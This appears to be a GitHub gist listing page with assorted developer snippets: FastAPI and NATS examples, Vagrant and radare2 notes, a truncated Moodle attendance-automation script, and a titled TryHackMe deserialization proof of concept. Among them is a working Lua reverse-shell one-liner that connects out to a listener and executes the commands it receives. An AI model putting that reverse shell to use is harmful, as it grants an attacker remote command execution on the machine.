Skip to content

Instantly share code, notes, and snippets.

View SurajDadral's full-sized avatar
💻
Exploring

Suraj SurajDadral

💻
Exploring
View GitHub Profile
@SurajDadral
SurajDadral / attendance.py
Created February 4, 2021 19:45
Automate Attendance in Moodle
import requests
import re
moodle_root = "https://example.com"
username = "MyUsername"
password = "MySecretPassword"
attendance_page = f"{moodle_root}/mod/attendance/view.php?id=16681"
session = requests.Session()
@SurajDadral
SurajDadral / GSoC2020_finalReport.md
Last active November 20, 2020 18:38
Final report of the GSoC 2020 project - Extended functionality of Rebar Addon in FreeCAD
@CMNatic
CMNatic / cloudSettings
Last active October 5, 2023 19:22
TryHackMe OWASP-10-A8: Insecure Deserialization RCE PoC
{"lastUpload":"2021-08-31T08:20:42.057Z","extensionVersion":"v3.4.3"}
@herberthamaral
herberthamaral / nats_to_sse.py
Last active May 12, 2025 07:26
Listen to a nats topic and write to a HTTP client listening via server-sent-events
import asyncio
from typing import AsyncGenerator, Dict
from fastapi import FastAPI
from nats.aio.client import Client as NATS
from nats.aio.client import Msg
from starlette.requests import Request
from starlette.responses import StreamingResponse
app = FastAPI()
@wshayes
wshayes / example.py
Created June 8, 2019 22:17
[FastAPI Websocket Example #2] #fastapi
# https://github.com/tiangolo/fastapi/issues/258#issuecomment-495975801
from typing import List
from fastapi import FastAPI
from starlette.responses import HTMLResponse
from starlette.websockets import WebSocket, WebSocketDisconnect
app = FastAPI()
@amrit3701
amrit3701 / README.md
Last active June 12, 2020 16:23
Create an SVG file of cube with its dimensions using FreeCAD

This example shows that how to produce SVG file of cube with its dimensions in FreeCAD (compiled without GUI).

Output SVG file: screenshot

@cldrn
cldrn / lua-reverse-shell.lua
Created October 8, 2018 21:24
Reverse Shell For Windows and Linux in Lua
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
@trusktr
trusktr / image-grid.md
Last active December 15, 2024 02:54
Image grid in Markdown
screen shot 2017-08-07 at 12 18 15 pm blah screen shot 2017-08-07 at 12 18 15 pm screen shot 2017-08-07 at 12 18 15 pm
@firmanelhakim
firmanelhakim / download_vagrant_box.sh
Last active June 17, 2025 07:14
How to Download Vagrant Box Manually
/* this is the box (and the version) that we want to download from: https://app.vagrantup.com/debian/boxes/jessie64 */
wget https://app.vagrantup.com/debian/boxes/jessie64/versions/8.9.0/providers/virtualbox.box -O debian-jessie64-8.9.0.box
/* add the box to vagrant */
vagrant box add debian/jessie64 debian-jessie64-8.9.0.box
/* update box version */
cd ~/.vagrant.d/boxes/debian-VAGRANTSLASH-jessie64/
mv 0 8.9.0

radare2

load without any analysis (file header at offset 0x0): r2 -n /path/to/file

  • analyze all: aa
  • show sections: iS
  • list functions: afl
  • list imports: ii
  • list entrypoints: ie
  • seek to function: s sym.main